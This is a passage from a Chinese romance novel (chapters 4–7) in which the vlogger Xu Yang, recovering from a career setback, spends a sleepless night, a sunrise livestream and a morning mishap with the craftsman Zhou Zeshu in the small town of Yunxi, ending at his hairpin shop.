不远桌侧坐了两年轻小伙，正对着那姑娘的背影推搡谈笑，估计是决策谁过去要个微信。
那男生输了，一口闷了酒，拉开椅子起身。
—
徐漾抬头，突然睁大瞳孔。
“怎么，表演杂技呢？”周泽树被她这突如其来变化的表情，弄笑了。
她赶忙调整好。
不料还是发现端倪，周泽树微皱了下眉：“哭了？”
“没！”她立刻否认。
下意识抠着手边易拉罐上部分罐沿，遮掩自己的慌乱，声音却越来越小：“没有……”
周泽树静静注视着她，徐漾目光游离，尴尬眨了眨睫毛，飞快别开头去，手却抠着罐沿没松。
他不动声色收回视线。
徐漾不知道对方是什么时候来的，又是什么时候发现她的。
还在乱想。
咔哒。
易拉罐环被掀开了。
“别喝酒，喝这个吧。”
周泽树绕到她另一边坐下，朝身后一瞥，刚刚那俩男生恰好撞上视线，赶忙低下头假装喝酒。
那眼神寒戚戚的，面色冷薄，莫名后背发凉，可这男人又恢复了一贯的温和。
受不了彼此安静的氛围，徐漾不想被撞破自己颓废的一面，胡乱扯着话题。
“这么晚，你怎么在这？”
周泽树散漫一耸肩：“这么晚，你不是也在。”
“我睡不着。”
“巧，我也睡不着。”
徐漾转头，试图看出来真假，周泽树很随意坐在那玩着手机。
他又是为什么睡不着？
有什么事情吗？
自觉得问出来会不礼貌，收回视线，旺仔傻乎乎咧嘴开心笑着。
徐漾端起来抿了一口。
酒馆里灯光昏黄，坐在这能看到窗外另一个光景。
截然不同的，有些艺术色彩。
路灯，发光的绿叶，灰墨调清过毛笔的天空。
也不知道多久会天明。
“你来多久了？”
“有些时候了。”
“一个人吗？”
“嗯。”
“来的路上应该下雨了。”
“没。”
周泽树古怪移过视线，这姑娘没话找话，跟她平时的感觉完全不一样，以前只要她开口，不论说什么，音儿都是往上翘着的，像只麻雀，仿佛有天大的开心事。
奇怪，明明也就见了两面，今晚也才第三次，倒用起以前了。
周泽树在心里自嘲地笑了一声。
徐漾被他看得又一阵心虚。
端起旺仔喝了一口，又一口。
她就不想给别人留下刚刚那副惨兮兮的印象。
其实她不开心，但她不会让任何人知道。
从小到大，身边的人总是说：“徐漾，我真要羡慕死你，我要是有你这样没心没肺的穷乐劲儿就好了，你难道就没有特别难过，或者影响情绪的时候吗？”
有，当然有。
她其实是一个很感性的人，看到虐心的电影，悲伤的故事，心就会没由来地嘎嘣一声，酸劲漫上来。
高中毕业那年夏天，全班同学穿戴好校服，要拍最后一张集体照。
女生们晚上就开始激动，筹划明天梳哪样的发型，是编双麻花辫？还是扎丸子头？还是披发？特殊一天，老师应该不会管太多，还可以美美花一个妆。
简直堪称完美。
但当大家真正被指挥站到指定位置，听一向严厉的班主任，用少有的温柔语气说——
“同学们都笑起来，最后一张集体照了哈，以后啊，再难有像现在这样聚得这么齐的时候咯。”
那天，镜头前所有人都在努力微笑。
十几岁的年纪，朝气逢勃，像花儿一样，无比绚烂。
当时间定格的魔法被解除，只感觉浑身被解了穴。
明明那么明媚，可大家一张张脸却再也笑不出来，眼睛浸了雾，伤感地四散开找喜欢的代课老师，朋友，暗恋的同学，留下可能最后宝贵的照片。
徐漾是那一刻，意识到朝夕相处了三年的同学老师们，要开始分别了。
明明有说有笑看集体电影，安静挣扎着抓头发思考试题，假装打架斗殴给老班过生日……
一切都恍若昨日。
可真的要分别了，或许从此再也不见。
她一个人偷偷躲在厕所隔间里掉眼泪。
回教室的时候眼睛红得像只兔子，同桌逮住她，问跑哪儿去了，找了半天拍照呢。
“我刚刚趁低年级还没下课，偷偷去小卖部买了龙卷风，辣的我快不行了。”徐漾流着眼泪，哈舌头，用手大力扇风。
“我服了……”
她也会难过的。
失去了一个日日夜夜陪伴的角色，“卓一”是鲜活的，是战友，也是伙伴。
只是往往所有人忘记了她，她也会伤心难过。
周泽树玩着手机：“不想说话就不说，我没感觉不自在。”
徐漾顿了几秒，抿唇，默默望向对面窗外的世界。
屋内笑声，交谈喋喋，分不清是两个人的，还是三个人的。
很久。
很久。
直到一阵突兀的咕咕声打破了他们这边的宁静。
“想吃点什么？正好我也饿了。”周泽树长腿一收，起身。
“火锅。”
也不知道为什么会毫不犹豫脱口而出这个，或许是空冷的心，及需要刺激变热。
或许，黑夜这么漫长，总要用时间计量最多的，去花费。
而好在，她不是一个人。
好在，今夜失眠的不止有她一个人。
周泽树带路找了一家夜间没有打烊的店面进去。
凌晨三点，这里比不过大都市，只有两三张桌子有食客。
“我没什么忌口，你来点。”他扫了二维码，将手机递给她。
徐漾选好了，周泽树象征性地划拉了几下，没什么可添的，点了提交。
红油锅咕噜咕噜散着热气，他们就坐在那安安静静地吃完一餐。
徐漾能看出来，周泽树是故意迁就她。
他全程吃的不多，很慢，但期间出于礼貌没有直接搁下筷子。
这个点，确实有些难为情了。
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>周泽树见她握着筷子出神，指尖点了点桌面，调侃说：“怎么，就困了？就这点战斗力？”
徐漾匆忙收回思绪，竟没还嘴，整个人像是不在状态，视线落在他脸上，机械性地点头。
他目光似有穿透力，好像一切想法都瞒不住。
那阵微风又吹过来了。
他将桌上用过的纸巾，包括她的，随手收拾进垃圾桶。
“要是还有精力，不如陪我去下个地方逛逛。”
……
许多时刻，许多美好的事物，徐漾都会下意识留在镜头里。
快门按响的那一刹，美好被保存，当遗忘的时候，再翻出来，会有重新找回记忆的快感。
但在这个凌晨，眼睛会永久记录。
你有没有真正看到过凌晨四点的海棠花。
我有。
那是一整条不绝的海棠大道，两边树木茂盛，道路顶端被花海遮盖，花枝空隙灰墨黑夜，在夜间形成了一条不知尽头的童话隧道。
饶是在白天，可能只是由衷感叹一句好美，但此刻难以找到语言来表达此刻的惊艳。
晚上的海棠比白天的更宁静，像是卸下惹路人欢喜娇俏的外纱，变成了静悄悄的娴静姑娘，只顾开花，绽放在万籁俱静的深夜，回汲能量。
夜里下过骤雨，花朵儿坠着小雨滴，像是裹了一层糖葫芦外表的晶莹糖浆。
路灯流淌着黄晕温柔的光，清风拂面，心旷神怡。
这是属于它的时刻。
白天是它，晚上依旧是它。
即使不被注意，也从没放弃过绽放。
她想起出自川德康成那句，经常在网上被引作文案——
【凌晨四点，我看见海棠花未眠。】
现在是凌晨4.57分。
她看见了。
不论“卓一”是否彻底和她不相关，她的价值一直存在。
她赋予的灵魂，将会继续伴随着她，在开辟的世界里勇敢无畏地继续闯下去。
这一点，很重要，最重要。
至于公司，就当被狗咬了一口。
往后发展怎么样，是起是落，再跟她没关系。
他们失了她这个英才，那是他们的损失。
老徐说的没错。
“周泽树。”
“嗯？”
“我好了！”
他单脚还漫不经心踩着车踏板，疑惑侧头。
笑了。
清风掀起了徐漾鬓角的发丝，弯翘的睫毛，繁星一样明亮的眼睛。
回来了。
真神奇一姑娘。
真独特一姑娘。
周泽树好像也被她感染一般，仰头享受起此刻的光景。
这条路，好像不一样了。
什么时候变漂亮了？
不知道。
两人的影子交织在一起，轻轻发着呆，月光洒在他们身上。
从大片花枝空隙里能看见云雾在一点点移动。
“周泽树，你小时候有没有看过一部动画片。”
她伸手要接那朵预要滴水的海棠花儿，水珠落在手心里清清凉凉的，她一笑，心情爽朗，控制不住讲解：“讲的是小猫一家用云朵制作成面包，吃完就可以飞起来。”
“我记得有一集是下雨了，有一朵像棉花糖一样的云孤零零地悬在她们家窗口，两只猫猫把云朵取回来，猫妈妈就做成了面包，结果你猜怎么着？她们吃了竟然发现可以飞起来！！我当时可馋那个面包了，老想也能摘一朵云下来。”
徐漾越讲越激动，转头却见周泽树眼里揣着淡淡笑意。
闭嘴，拉拉链，不讲了。
他会不会觉得她傻，心想，这丫头估计有毛病，大深夜跟他扯什么动画片？
嘿，毛病呗。
就毛病。
“可惜没有加工成面包，吃了会飞的云。”
“本来就是假的，当是个童话嘛。”
徐漾眨了下眼，有些许期待地追问：“所以你小时候看过没？”
“我们童年差的远着呢。”
周泽树看过，陪小屁孩一起。
她瞪眼，一记飞刀。
“哎呀呀顽固顽固！！你又不比我大十七八岁。”
云雾被风吹散了，海棠花摇曳，周泽树扬唇，趁不注意脚蹬踏板，猝不及防加速往前，徐漾还没反应过来。
“欸，你不等我——”
飞快骑上自行车追上去，紧随其后。
两人身影一左一右，越来越近，越来越远，要探去凌晨夜里的尽头。
云散开，星星亮了。
5. chapter 5
一觉醒来，已经是下午两点。
徐漾躺在民宿床上放空，早上六点回来，实在太困，躺下就睡，再睁眼便是现在。
一小束阳光从窗帘缝里挤进来，照在胳膊上，暖融融的。
昨晚好像做了一场不真实的梦，梦里的场景历历在目。
应该是真的吧。
她现在巨后悔，应该加个微信的，昨晚钱还没给他，虽然里面藏有一点点私心。
只有一点点而已。
阳光真好，明明早上还是阴阴的，下午却出了太阳。
徐漾不想浪费这一天纯用来窝在民宿里，前两天下雨已经窝得够久了，虽然这家民宿无论是装修风格还是娱乐休闲设施都无可挑剔，但阳光太好，迫不及待想出去晒一晒。
跳下床洗漱换了件上衣，蓝色半裙，她个子在女生里算高挑，身段纤细，这套看起来简单元气。
徐漾特别享受打扮自己，但不会在上面消耗太多时间，沉迷其中，她衣橱颜色偏多，并不拘泥一种风格，也不会为了年龄增长，而刻意伴作成熟。
若是有天七老八十岁了，她想，也得当个时髦老太太。
拿了一顶帽子，挑了个小格纹帆布包，装上设备就出了门。
遇见民宿姐姐从外面进来：“要出去？”
徐漾啊了一声，朝老板娘热情洋溢道：“快要躺化啦，得赶紧出门补补钙。”
昨晚吃得太油，徐漾只随意进了家店点了份青菜炒饭，意外的好吃，青菜碎使米饭变得更水润，再配上鸡蛋，不需要多复杂的调料，还原了食物本身淳朴的香味。也没要堂食，打包端在手上边走边吃。
阳春三月，春光灿烂，气温正正好，不冷也不热。
徐漾翘腿坐在长椅上，舒服地喟叹一声，美滋滋。
大杨柳树垂下嫩嫩的柳条，倒影在湖面上，不知道有棵树叫什么名字，落下黄黄绿绿的叶子浮在水里，废弃的乌篷船上，世界柔软绚烂，一时分不清究竟是春还是秋，奇妙的组合。
大抵是偷偷背着夏天，一起出去玩了吧。
几只黑长嘴的水鸟滑行而过，轻盈拍着翅膀。
人间景，正盎然。
老人们穿着漂亮衣裳在长亭里拍照，一会儿站一排伸手比赞，一会儿单手撑腰，间或是排排踢腿，因为很多动作不方便举手机，只能一个个换，但总拍不完整，合照上要少一个人，不知道该怎么办才好。
徐漾三两口把饭扒完，把盒子就近丢垃圾桶，过去问需不需要帮忙。
“哎呦！正愁没办法，谢谢谢谢，麻烦你了小姑娘！”说话的是为首一个穿绿衣裳的婆婆，姓赵。
“没事啦，婆婆您太客气，保证给大家拍得美美的！”
一句话把几人哄得合不拢嘴。
咔嚓几张拍完，构图还是角度，一看就是行家，越看越让人满意。
“小徐你拍的也太好了，把姐妹几个都拍年轻了。”
“那是您几个有活力。”徐漾真心夸赞，随后提议问，“要不，我们再换几个动作试试？趁着天气好多拍几张嘛。”
“可以吗？”
“可以啊。”
赵婆婆说：“可我们想不出来别的了，整点你们流行的？”
这徐漾在行。
不过一分钟在网上搜了《青春环游记》多人经典合照姿势。
这不，指挥起来了。
“来，赵婆婆您抱手走最前面，王婆婆孙婆婆您俩抱手站两边，孙婆婆您给个侧脸瞥赵婆婆凶凶的镜头啊，陈婆婆您站后面惊讶看赵婆婆。”
“对对对，就这样就这样，往前走！”
“陈婆婆比剪刀手，孙婆婆站左边双手比爱心，王婆婆抱手站在右边傲娇一点，赵婆婆您站后中间把两人肩膀搂住哈。”
“王婆蹲低一点哦，对对对，陈婆婆捏王婆婆脸，孙婆婆伸手假装肌无力，陈婆婆您稍稍往后站一点在她们后面，双手扬起来假装是要攻击的熊。”
……
“哎呦，绝了，这张！表情非常棒，这眼神简直堪比奥斯卡女演员！”
小亭子里笑声不断，几位老人家坐在一块挨个欣赏成片，全程哈哈笑个不停。
从没这么欢快，好像跟着年轻了一把。
“太感谢你了小徐，本来姐妹几个想趁着有时间出来玩一下，多亏了有你给我们拍照。”
“不客气，我反正也没事，大家玩得开心就好嘛。”
一熟不可避免关心感情状况，得知徐漾是来云溪散心的，且还没有男朋友。
王婆婆介绍自家孙子，赵婆婆介绍自家女儿刚大学毕业的侄子，孙婆婆介绍自个儿邻居家孩子。
“都是我们从小看到大的，人品长相没的说。”
陈婆婆没有合适小伙，在中间充当点评：“哎，这个不行啊，小徐长这么漂亮，这个不登对，老孙你这个，个儿看起来不高啊。”
“哎呀，老陈你故意挑刺是不是，你看这腿！跟树杆子一样样的，哪里不高了！”
徐漾夹在里面哭笑不得，生怕她们吵起来。
“我有喜欢的人啦。”
几个婆婆齐齐扭头看她。
徐漾脸不红心不跳，随口胡诌：“我就喜欢那一个，真的。”
“暗恋？我看CCTV里都这么说的。”
“……算是吧。”
王婆婆一脸嫌弃：“哪个小伙子这么不识趣。”
几个婆婆同样跟着附和，收了各自手机里的照片，越想越觉得气，打抱不平。
“好不好看，长什么样啊？这人眼光是不是有问题啊。”
徐漾忍不住笑出声，想了想，寻思着说：“高高的，很帅，眼里时不时含笑，不笑时看起来很严肃，体贴的。”
“哦！还有耐心。”
王婆婆恍然：“欸，这种小伙我们云溪也有。”
徐漾不自主扬起来的嘴角，缓缓拉平，她在说什么？！
脑海里自动勾勒出描述的人影，徐漾一呼撸将画面扫个干净。
生怕王婆婆下一句就把名字报出来，赶紧快速说：“是桐城那边的，我高中就喜欢人家。”
几个婆婆听得连连叹气，又是一阵觉得那小伙眼光不行，心疼姑娘家。
……
送走人后。
徐漾独自坐在石墩上。
心尖燥得慌。
手机里有人艾特，是三号路牌友团，张大爷问她要不要打纸牌。
徐漾借口有事拒绝了。
坐一会儿。
起身找了家便利店进去，随意绕了一圈，在饮料区停下，本来想拿果啤，结果目光停在了红色傻傻笑着的罐装旺仔身上。
触碰到果啤的指尖一颤。
饮料区靠近收银台，左右两个工作人员正在闲聊。
左边：“里屿家的老板长得挺帅的，人不仅帅还有才学，我们这个小地方啊，怕是找不出来第二个比他帅的年轻小伙子。”
右边：“这话说得确实，长得跟他爸当年一个样。”
有的，周泽树就很好看。
徐漾在心里暗暗说。
冰凉的罐身帮她缓解了手心里的燥热。
心口的却不行。
右边：“我上回去他们店里还摸到他手里，哎呦，我都想踹了我们家那个。”
“不是！”左边睁大眼睛，“真摸到了？”
右边：“骗你做啥啰，我还特地买了根簪子，他给我的时候，不是摸到了？不过那簪子凭啥卖愣门贵嘛，两三百亏他喊得出价。”
左边：“哈哈哈哈真有你的。”
“不过人家惨的很，他爸呦，咦——”左边说着摇了摇头，“丢死人了，脏东西生的脏东西，现在变得再好再有钱有什么用，姑娘家说媒，谁敢提他们家。”
右边：“也是，可惜了，不过小伙子长得真标志。”
左边：“那我下回也破费买根簪子看能不能趁机摸摸他手。”
徐漾：“我挑好了，结账。”
两人没注意到有人在，这才闭了嘴。
—
周泽树来时，张超正在前台打瞌睡，连进门的风铃声都没能注意。
直到听到桌面的咚咚声，惊得抬头：“……老板！”
“怎么这么困，要不今天提
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前下班？”
“不用不用，就是春天太暖和了，容易睡觉。”张超赶忙摆手，拍了拍脸让自己清醒过来。
七饼一见周泽树来了，扭着圆滚滚金黄的屁股走哪跟哪。
张超下午给它放过饭，小家伙就是嘴馋，吐着个舌头歪头缠着要吃零食。
以为自己暗示的不对，短腿哒哒跑到放鸡胸肉干的柜子下坐着，还不忘回头看人反应。
“不能吃，你一会儿吃了又吐，明天给你拿。”
小柯基呜呜低叫，趴在地上装可怜。
周泽树不吃它这招，丢飞了个玩具球，果然小狗下一秒就嗖地起来追球去了。
“老板，招聘广告已经设计好了，我发你手机上，你看看行不？要是可以的话，我弄出来贴上。”
“里屿”急缺一位助理，需要负责老板的工作协助，以及新品登记宣传。
店里常年就只有周泽树和张超两人，且张超早上要去早餐店帮忙，中午才会过来，这里的日常工作就只有看店，负责云溪客户。
“里屿”主要工作常年由周泽树亲自负责。
其实云溪的客户一般很少，百分之九十生意占比来源于各大品牌，影视公司合作以及网络订单。
这些年来随着知名度渐大，商务也随之增多，难免产生负担，忙不过来。
“你发给我吧。”周泽树在水龙头下洗了个手，将水擦净。
手机提示音响了。
张超发送完毕，看见底下有个红点，这不点开还好，一点开噗嗤乐出猪叫。
“哈哈哈哈周哥你快看小徐姐给赵婆婆他们拍的照。”
“不行，太好笑太有意思了，这些动作都是怎么想出来，太鬼才了吧！”
张超迫不及待举着手机过去给周泽树分享。
赵婆婆发了九宫格，几个老人家满是精气神，摆着各种出自《青春环游记》里的热门动作。
最中间是一张让路人拍的集体合照，徐漾戴鸭舌帽，穿了件米色上衣，淡蓝色长裙，夹在中间一起齐齐要上山，笑容明媚又张扬。
周泽树弯唇笑了。
手机里又有提示音响。
是三号路牌友团的张大爷艾特全员，甩了个链接，拜托都帮忙砍一刀。
当初被拉进来，孙爷爷迷上了一款微信程序游戏，三两回没有精力，动不动就分享出来复活。
本里一个人玩，后来把群里几个都带起来，一天广告分享发得噔噔响，直接刷屏。
周泽树后来就设了免打扰。
不知怎么，这几天又时髦迷上某购物软件。
再懒一会：[已砍，莫辜负（傲娇甩头发）]
张爷爷：[谢谢闺女（玫瑰）]
王爷爷语音：“老张这个简直就是心情破坏神器，0.1后面还有0.01，0.001……坑死了，我儿子搞过一点用都没有。”
张爷爷将信将疑：“真假啊？”
再懒一会语音：“确实有点颠，想试就试一试呗，没用咱骂它几句，放垃圾桶里吃灰。”
张爷爷：“行，反正没事，群几个，出不来我就删。”
再懒一会：[明智！（大拇指）]
再懒一会语音：“不过爷爷，除了这这回，要是有啥链接千万别管啊。”
周泽树倒是没注意，群里什么时候进来一个人。
这声音。
他情不自禁笑出来。
才不过几天，云溪的老年团就被她攻破了。
徐漾的微信头像和昵称都是配套的，头像是一只裹着被子吃糖的懒羊羊。
点击进去，她朋友圈没有设置任何权限，里面都是些日常分享。
随手拍的湖上起飞的鸟、打瞌睡蹲坐的猫、吃到的好吃的、安利喜欢的电影、根据心情涂画的个人表情包等等等等。
她像春日山泉，透亮，灵动。
即使在某个时刻难过了，也没关系，好像这只是生活的一部分而已。
不必消耗自我。
周泽树莫名被充了电，一身轻松。
奇怪。
怎么会有这么神奇的姑娘？
6. chapter 6
手机显示日出时间将在6：13分左右。
隔日，天才刚刚蒙蒙亮，徐漾蹬着自行车就出发了。
清晨的空气夹着一股薄薄的水雾，清新平和，不像深夜那么醇厚。
沁人心脾的草木香打败了早起的瞌睡。
徐漾整个人都很亢奋。
“Hello，大家早呀，起来了吗！起来了吗！起来了吗！重要的事情说三遍。”
“没起来也不要紧，窝在床上不要动，给大家看日出，不过预估还需要二十分钟，稍等哈。”
她一个人喋喋不休，好像完全不在意，垫着腿跟只伪天鹅似的，蹦蹦跶跶做热身，从这头到那头，话还说个没完没了。
……
春日清晨，阳光穿过薄薄云雾，天空出现一轮橙黄的微光，在等待中，太阳终于露出来了。
天空像是被点燃，太阳逐渐一点点冒出来成了中间最亮的一颗小灯泡，神奇的与对面月亮相望在一起。
天地之间，日月同辉。
橙黄不过一眨眼功夫染透了天际线。
周泽树跑步的动作顿住，一点点慢下来，最终停下。
这条路他几乎每年都在，四季的风景跟着看了无数遍，当一个人麻木的时候，就会对什么都无感，像平静的湖，再掀不起任何涟漪。
不知已经过了多久，他没有好好看过。
没有空下来一片心去细心感受，生活推搡着他行前，他像不停旋转的陀螺。
但今天他抬头了。
为了这片看腻的风景伫足。
原因很简单，只因为对面那个叽叽喳喳的麻雀。
他有点想笑，半小时前一会儿隔旁边“腾云驾雾”，一会儿垫起脚尖演“芭蕾”，甚至还来了套不怎么规整的“八段锦”，随后又蹲在地上嘎巴嚼一段黄瓜。
现在却安安静静地站在支架旁，他也随着她的视线抬头望去。
周泽树莫名找回了大学第一次夜爬的心境。
莫名触动，莫名欢畅，莫名平和。
—
成功捕捉到这一刻，这天就值了。
“这次，我没有食言，带大家完整看了一趟日出，本来这个计划已经筹备很久了，但之前遇到一些事情，加上下雨了，没能遇见好天气，今天总算实现了，over！打板！”
徐漾沐浴着晨光，笑眼弯弯的。
双手啪啪鼓掌。
当看到太阳升起来的那一瞬，等待就没有白费。
二十来岁的年纪，没什么困难能将我们彻底击灭，就算倒下了，还能继续爬起来，跌跌撞撞也要往前走。
徐漾不愿去关心以后，她只在意现在，此时此刻。
她是快乐的，直播屏幕的另一边，她也希望他们跟着也是快乐的，享受到当下。
当初做vlog的初心就是把生活记录下来，快乐太难了，不去刻意追求，好像也很简单。
听一首歌，吃到好吃的，看一场日出，成年人的世界要学会自己照顾自己。
风好舒服。
就着花池卡座躺下，闭眼，感受到早晨的风轻轻扶过她的头发，脸庞，也懒得去关心评论在说什么。
从口袋里摸啊摸，掏出来一颗皱皱巴巴的橘子糖，展开喂嘴里含着，嚼得嘎嘣响，越吃越饿怎么个回事。
早知道应该多准备些吃的垫吧垫吧。
失算了。
“唉，要是能当只熊就好了。”她一头竖起来，能量满格，“我现在只想变身一头熊，饱饱晒过太阳，再吃一屉汤包！”
“我跟你们讲，如果来云溪一定要吃烟兰街一家早餐铺子的汤包，巨巨巨好吃。”
她望了望四周，手抵在嘴边。
“趁他不在我们悄悄说一句，里面是男老板人间绝色。”
“不过，这人就是有一点实在不好。”
徐漾清清嗓子，化声教导主任，想到好几次都见到人影。
“这位同学，你知不知道长期缺勤什么后果？”
她正打算好好痛诉他一桩桩“恶行”。
“什么后果？”
一道清淡的声音突兀从身后响起。
心里一咯噔。
她循声缓慢回头。
徐漾不知道该怎么形容此刻的想法，她嘴还张着，思维已经跑到没边儿了。
公园明明没人的。
周泽树拎着瓶水走过来，他站在薄薄的阳光下，还能看到额角未干的汗迹。
他看到她，脸上攀起些笑意，扬了扬眉梢，偏生起了使坏的心思，后边句笑中掺着点反问语气，故意逗她。
“不懂，要不……老师给个明示？”
徐漾几乎是下一秒跳下去关了手机。
脸倏地一下全红了。
“我不知道你在这。”虚心地跟犯错的猫似的。
“哦，可能是你太投入了。”他毫不在意，微抬了抬下颌，“走吧。”
“嗯？”
周泽树站定，回头问：“不是要去老太太哪儿吃汤包吗？不吃了？”
“哦哦哦。”她这才反应过来，急急忙忙抓起卡座上的包，行动比脑子快，尾巴似的飞速跟在他身后。
目光落在他后背，肩膀，在阳光里白到快透明的后脖颈。
她现在还有点懵，刚要说坏话的对象，这就出现在自己面前了？还要跟自己去同一家店？
估计是被说得难为情了，去露个面。
怪不好意思的，徐漾啊徐漾你真是多嘴。
不过，她也没说什么坏话吧，反倒还夸了夸他，人长帅呢。
“周泽树，你几点来的啊？”
“跟着你差不多。”
“那你岂不是跑步的时候就看到我了？”
“嗯。”周泽树这回笑了。
声音很轻，很轻，但徐漾还是听见了，摸不着头脑：“咋了？”
“没怎么。”
徐漾挠了挠头，瞧见他的影子，玩耍似的趁他不注意轻轻踩上去。
一次，两次，三次……
她目光盯在地上，紧跟在身边一点点，忽然距离越来越远，她也逐渐加快步伐。
前面的人蓦地停住，太过突然，来不及收回，徐漾猝不及防一头撞在他右半边背上。
“还玩吗？”前方悠悠开口，周泽树费力压下翘起的嘴角。
“你故意的。”肯定句。
“徐漾，讲讲道理好不好。”
他转过身，垂眸看向她，语气略有无奈。
这是第一次他开口叫她的名字，好似有一根羽毛飘落在心底，痒痒的。
“……我哪里不讲道理了！”
她闭了下眼，太阳怎么也跟着这么晃眼，晒到人要昏了头。
快速绕过他走在最前面。
徐漾抬手拍了拍胸脯，深吸了口气。
烟兰街比较偏，要先绕两个主街，这个点，已经陆续有些稀稀拉拉的人，路边摊贩开始准备一天的生意。
徐漾转头，周泽树走在自己身后不远的距离，恰好和他目光相对
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。
她飞快收回视线。
也不知道究竟在心虚什么。
干嘛呢，干嘛呢，徐漾？
内心实况：小人发疯自我挥拳一百遍。
再次坦坦荡荡回头，身后的人早已不见踪影。
该说不该说，她这运气实在……不太好。
一个幅度转身，正好撞在紧贴在身后，低头不看路，满心满眼都馋在豆花上的小学生。
咸豆花从腰间哐滑到腿，徐漾吓了一跳急忙跳脚后退。
啪！
整杯洒在地上，一片狼藉。
尽管再快，还是难以幸免。
豆花虽然是温热不烫的，但整件衣服算彻底毁了。
小朋友一脸惊恐害怕，以为犯了天大的错，还背着书包，看起来也就七八岁的样子。
徐漾也顾不得衣服怎么样，担心误了时间，赶紧重新给他买了一杯，安慰小朋友说自己一点事都没有，顺便叮嘱一定要拿好些，专心看路到了学校再开。
等再赶回去收拾地面。
却见原本不见的周泽树半蹲下，用盖子一点点将打翻不成样子的豆花盛进纸质碗里。
周围不断有人走过。
“我以为你已经走了。”
他抬头看她，视线落在她腰间，微皱了皱眉，似是完全没料到这个倒霉蛋竟是她了。
可这个严肃的眼神落在徐漾眼里，无端让她紧张。
“我不是故意弄的，刚刚不小心撞到人家小朋友，送走了就是要回来收拾……”
她怕他觉得自己是一个没有公德心的人，急着想解释，话都说不利索。
“没烫到吧？”
“啊？”
周泽树又耐心重复了遍：“烫到没？”
“放心，小朋友好着呢，就是受到点惊吓，不过没事，我又给他买了一份。”
周泽树目光落在她脸上，停了片刻：“我是问你，有没有烫到。”
徐漾愣住了，完全没料到这句话是对她说的，大脑宕机了几秒：“……没事。”
“豆花已经有一会儿了，是温热不烫的。”她补充道。
徐漾想过去一起收拾，被周泽树拦住，旁边地上有一个红色塑料袋，他示意她帮忙先拿着。
徐漾站在原地等他，只见周泽树将最后一点残留收拾好丢进垃圾桶里，环顾四周，像是在找什么东西。
无果，进了跟前一家便民超市。
再出来时，手里拿了一包湿纸巾，抽了一大叠，剩下都给了她。
周泽树再次蹲下，将地上的油渍擦走。
她这才明白，他刚刚应该是在找拖把。
这个行为或许在外人眼里细致过头。
但这边附近都是些旧居民区，经常多有些老人家出来买菜，散步，或者接送小孩，有个老大爷儿子女儿都在外地工作，眼睛看不见，要杵着拐杖凭感觉走。
“周泽树。”徐漾不知道怎么，着了魔，就是很想叫他一声。
“走吧，早餐店是去不了了。”
他重新回来，抽了张湿纸巾擦擦手，将她拿的东西接到自己手里。
见她还定在原地，衣摆已经被汤汁浸透，敲了个响指，故意调侃说：“怎么，老太太做的汤包这么有吸引力？”
“先带你去把衣服处理一下，等会我让小张送过来，保证让你在今天就能吃到。”
他像是哄小孩一样，语气温柔平和，笑了笑。
“或者，我让老太太给你开个小灶行不行？”
7. chapter 7
徐漾怎么都没想到他说的店会是“里屿”。
原来周泽树就是听到很多次“里屿”的那位男主人。
店里装修风格偏原木风，一套面积较大loft，推开进门右手边就是前台，地面干净而整洁，白纱窗帘被风吹得轻轻晃动。
小桌白瓷瓶里插着两朵淡粉色的绒花牡丹，争相开放。
踏入的第一感受这里的老板内心一定是安宁又极其细腻有格调的人。
再转眼看。
有一整面墙做了浅色调的超大展柜，每一个玻璃隔层里住着各式样精美的发簪，胸针，发夹等等。
里面没有一模一样的花，每一件都是孤品，每一件都独一无二。
栩栩如生，春华秋实，夏雨冬雪，四季的景色无疑都呈现在这里了。
太美，又太过震撼。
徐漾痴痴地仰望着这堵墙。
亳不夸张来说，简直就是一场视觉盛宴。
不知该如何落脚，忽听到一阵奇怪的动静，一只奶油黄的柯基从隔壁房间里像阵风似的窜出来。
“七饼，坐哪！”周泽树训斥，声音并不大。
小柯基立马刹住腿，乖乖吐着舌头趴下。
“怎么回回都这么冒冒失失的，别把客人吓着。”
“它叫七饼？”徐漾这才找回自己的声音。
周泽树将东西放在前台：“嗯，很乖，捡到的时候正好初七，就叫这名儿。”
徐漾过去蹲下摸了摸它头，七饼兴高采烈地拿脑袋拱她的手，伸爪子跟她玩儿，别提多可爱了。
一人一狗，阳光洒进地板上，这个画面过于和谐。
周泽树手搭在桌面上，嘴角弧度不自觉提了提，想起来正事。
“你稍等，我等会过来，楼上正门进去是工作室，里面隔了一个休息间作卧室，一般没得到允许不会有人进去，如果你觉得难受的话，可以去浴室清洗一下。”
周泽树又说：“浴室门可以反锁。”
豆花汤汁渗透了一大块进衣服里，贴在皮肤上。
徐漾觉得身上油腻腻的，吸的空气都是一股辣豆花味儿，再憋一会儿，她自己都要腌入味，成豆花了。
以为他临时有事要忙，没做多想，一个人单独上了楼。
楼上工作室也十分宽敞，桌上有没做完的活，丝线，工具，即使没弄完，也理得相当整体。
用作休息的地方，应该不常用来住，只单单平时忙碌的时候应付一下。
无一例外都收拾的干净，徐漾又闻到了那股浅浅熟悉的气息。
清淡的，就好像雨后，坐在草地边放松晒太阳，风吹过树叶，很清新，很舒服。
徐漾不知道为什么就想到了这个画面，她使劲嗅了嗅，有点想问周泽树用的到底是哪款香水。
他的私人生活底盘，和下面又不一样，谈不上极简，却有一种说不上来的感觉。
看似没什么，却和他的调虽在同路，却稍有偏离。
徐漾洞察力要比别人更敏锐，莫名想到了程序化这个词，像是刻意展现的，或许又不对。
当然，这些只有她自己发现，也只有她发现。
自认为再看下去不礼貌。
进浴室，锁了门。
好在这里东西都很足，徐漾打开花洒，将自己彻底冲了个干净，头发湿了，干脆一起冲了个头。
衣服没法直接套上，她找到洗衣液，蹲下把脏的地方揪成一个团，准备洗洗到时候吹干，应该能穿回去。
正想着，楼梯传来一阵阵脚步声，有人上来了。
徐漾心里一紧，下意识往后一缩：“谁！”
“别担心，衣服我给你挂在门把手上了，我先下去了。”
是一个温柔细细的女声。
怕吓到她，声音的主人放完东西就走，门口脚步声远去，随后是下楼。
她从浴室探出脑袋，看到把手上挂了个乳白色服装袋子，不是什么牌子，里面是一件薄针织衫和内搭T。
是她的尺码。
……
“最近应该很忙吧，我看前不久又有人过来。”
“还好，再忙也忙不过你，耽误你时间了。”
“小事呀，都是熟人，你随意麻烦。”
“那可算了，不过谢了这次。”
楼下是自然熟稔的闲聊，从话里能猜测出两人认识了许久。
“好了？”周泽树闻声抬头。
“嗯。”徐漾从楼梯上下来，看了看周泽树，又往旁边移了移，放在也同样正注视着她，刚刚送衣服上来的女人身上。
她留着一头黑色齐锁骨卷发，淡紫色长裙，妆容漂亮精致，整体给人的气质温婉可人。
“Hello。”对方先打招呼。
